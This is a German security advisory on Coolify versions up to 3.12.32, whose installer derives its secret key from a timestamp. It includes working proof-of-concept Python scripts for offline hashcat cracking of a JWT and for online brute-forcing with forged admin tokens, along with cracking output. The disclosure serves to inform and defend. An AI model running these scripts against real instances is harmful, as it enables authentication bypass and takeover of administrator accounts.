coollabsio/coolify: Unzureichende Entropie in Standard Geheimschlüssel Unzureichende Entropie beim Generieren des Geheimschlüssels gefährdet Coolify-Instanzen Kritisch (9.5) CVSS: 4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H Betroffene Version(en): ≤3.12.32 (Installations-Skript Version ≤1.4.1) Gemeldet: 11. April 2023 Status: Update veröffentlicht

Zusammenfassung

Die Umgebungsvariable COOLIFY_SECRET_KEY - die während der Installation generiert wird - basiert lediglich auf einem Zeitstempel und ist daher nicht für kryptographische Operationen geeignet, also unzureichend für die Sicherung von Geheimnissen und Logins.

Details

Das Installationsskript für Coolify (gehostet auf https://get.coollabs.io/coolify/install.sh) enthält die folgende Zeile zur Generierung eines geheimen Schlüssels, der für die Authentifizierung von Benutzern über JWT und die Verschlüsselung von Anwendungsgeheimnissen in der Datenbank verwendet wird:

COOLIFY_SECRET_KEY=$(echo $(($(date +%s%N) / 1000000)) | sha256sum | base64 | head -c 32)

Trotz der Verwendung eines unvollständigen sha256-Hashes basiert die Entropie des geheimen Schlüssels ausschließlich auf dem Zeitstempel und damit auf der Installationszeit. Da das Format des Zeitstempels effektiv die Epochenzeit in Millisekunden ist, gibt es nur 86400000 mögliche geheime Schlüssel pro 24 Stunden Installationszeitrahmen. Mithilfe anderer Quellen, wie z.B. Zertifikattransparenzberichten, die den Ausstellungszeitpunkt von TLS-Zertifikaten offenlegen, kann ein Angreifer den Zeitpunkt der Installation der Coolify-Instanz erraten und die Anzahl der zu erprobenden Schlüssel erheblich reduzieren. Das Erraten des Sicherheitsschlüssels ist sowohl mit einer Authentisierung als beliebiger Nutzer der Instanz, als auch ohne jegliche Authentisierung möglich.

Kennt der Angreifer den Session-Token eines belibigen Nutzers, kann versucht werden, die Signatur des JWT nachzustellen. Dieser Angriff erfolgt offline und ist erheblich schneller durchzuführen, als ohne bekannten Cookie die Signatur anhand von HTTP Anfragen zu erraten.

PoC

Code zum erzeugen aller möglichen Sicherheitsschlüssel zur Verwendung unter Hashcat gegen einen erlangten JWT:

import hashlib
import base64

# Start an end time to check as coolify installation time
min_time = 1677715200000
max_time = 1677888000000

# Create possible secret keys the same way coolifys installation
# does it and output them to stdout
for i in range(min_time,max_time):
    print(base64.b64encode(bytes(hashlib.sha256((str(i)+"\n").enco
de("utf-8")).hexdigest(), "utf-8"))[:32].decode("utf-8"))
# Offline-crack the JWT cookie of any user to find correct secret key
./genkey.py | hashcat <JWT>

Unter Verwendung des JWT-Tokens, der auf einer Instanz von Coolify erhalten wurde, wird der geheime Schlüssel der Instanz in weniger als 4 Minuten auf einer GTX 1070 Ti @ ~520 kH/s mit einer Installationszeitgenauigkeit von 24 h geknackt:

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: <JWT>
Time.Started.....: Tue Apr 11 17:36:48 2023 (3 mins, 48 secs)
Time.Estimated...: Tue Apr 11 17:40:36 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: Pipe
Speed.#1.........:   520.7 kH/s (7.98ms) @ Accel:512 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 118292480
Rejected.........: 0
Restore.Point....: 0
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: <CANDIDATESTART> -> <CANDIDATEEND>
Hardware.Mon.#1..: Temp: 38c Fan: 43% Util:  0% Core:1607MHz Mem:3802MHz Bus:16
Started: Tue Apr 11 17:36:47 2023
Stopped: Tue Apr 11 17:40:36 2023
<JWT>:*************YzQ1***************

Wenn ein Angreifer bei gleicher Geschwindigkeit nur das Jahr der Installation von Coolify kennt, würde der geheime Schlüssel in ≤ 17 Stunden geknackt werden.

Code zum Testen aller möglichen Sicherheitsschlüssel ohne jegliche Authentisierung:

from base64 import b64encode
from hashlib import sha256
import jwt
import time
import aiohttp
import asyncio

found: bool = False
requests_made: int = 0
start_time: int = 0

# Host, start time and end time, number of threads
host: str = "https://coolify.example.com"
start: int = 1671717600000
end: int = 1672750000000
thread_num: int = 5


async def request(host, start, end):
    session = aiohttp.ClientSession()
    global found, requests_made
    for i in range(start, end):
        if found:
            break
        candidate: str = b64encode(
            bytes(sha256((str(i) + "\n").encode("utf-8")).hexdigest(), "utf-8")
        )[:32].decode("utf-8")
        token = jwt.encode(
            {
                "userId": "0",
                "teamId": "0",
                "permission": "read",
                "isAdmin": True,
                "iat": 1687466178,
            },
            candidate,
        )
        r = await session.get(
            host + "/api/v1/user",
            headers={
                "Authorization": "Bearer " + token
            },
        )
        if r.status == 200:
            found = True
            print("Authentication bypassed with JWT {}".format(token))
            print("Security token is {}".format(candidate))
        requests_made += 1


async def print_status():
    global requests_made, end, start, start_time, found
    while not found:
        print(
            "{} requests done ({}% @ {} req/s)".format(
                requests_made,
                round((requests_made / (end - start)) * 100, 4),
                round((requests_made / (time.time() - start_time)), 2),
            )
        )
        await asyncio.sleep(1)


async def main():
    global start_time
    start_time = time.time()
    diff = int((end - start) / thread_num)
    pos = start
    threads = list()

    for i in range(thread_num):
        newpos = pos + diff
        threads.append(asyncio.create_task(request(host, pos, newpos - 1)))
        time.sleep(1)
        pos = newpos
    threads.append(asyncio.create_task(print_status()))

    await asyncio.gather(*threads)


if __name__ == "__main__":
    asyncio.run(main())

Mit durchschnittlich 200 Anfragen / Sekunde (5 Threads @ ~1MB/s) dauert das Ermitteln des korrekten Sicherheitsschlüssels maximal vier mal so lange wie der geschätzte Installationszeitrahmen. In einem Test wurde zur Durchführung ein einfacher dual-core Linux Server verwendet, der den Schlüssel einer Testinstanz erraten sollte. Mit einer Genauigkeit von 24 Stunden konnte der korrekte Schlüssel nach 18 Stunden ermittelt werden. Zu diesem Zeitpunkt waren die Möglichkeiten aller Schlüssel zu 15.5312% ausgeschöpft und es wurden 13418976 Anfragen an den Server gestellt.

Auswirkung

Wenn ein Angreifer in der Lage ist, die Installationszeit von Coolify auf einem Server zu schätzen, ist er höchstwahrscheinlich in der Lage, den COOLIFY_SECRET_KEY für diese spezielle Instanz zu erhalten. Mit diesem Schlüssel kann der Angreifer einen manipulierten JWT-Cookie signieren und die Rechte auf einen Benutzer und/oder den zuerst auf der Instanz registrierten Benutzer (Administrator, userId: 0) erhalten. Da der JWT korrekt signiert ist, akzeptiert der Server den Token und gibt dem Angreifer Zugriff auf die angefragten Ressourcen.

Indicators Of Compromise (IOC)

Besitzt der Angreifer kein Nutzerkonto auf der betroffenen Coolify-Instanz, benötigt das Ausnutzen dieser Lücke eine Vielzahl von Anfragen, die in erhöhter Netzwerkaktivität resultieren. Da Coolify in der Ausführung v3 weder Zugriffsprotokolle führt noch Anmeldungen protokolliert, ist das Nachvollziehen dieser Umstände nur durch externe Tools möglich.

Behebung

Die Coolify-Maintainer sollten das Installationsskript ändern, um kryptographisch sichere Zufallswerte zu erzeugen und diese anstelle des aktuellen Zeitstempels verwenden. Coolify muss auch bestehenden Benutzern die Möglichkeit bieten, Anwendungsgeheimnisse mit dem neuen geheimen Schlüssel erneut zu verschlüsseln, da alte Geheimnisse mit einem neuen Schlüssel nicht wiederhergestellt werden können. Den Nutzern wird empfohlen, so bald wie möglich v4 von Coolify zu installieren, da das entsprechende Installationsskript kryptographisch sichere Zufallswerte verwendet. Ob der Migrationspfad von v3 zu v4 dieses Problem behebt, ist zum Zeitpunkt der Erstellung dieses Berichtes nicht bekannt.

Falls ein Update keine Option ist, sollte Coolify ausschließlich über SSH aufzurufen sein und externe Zugriffe unterbunden werden. Diese Änderung macht externe Server für Coolify sowie Webhooks (traefik, GitHub, GitLab, etc.) unbrauchbar.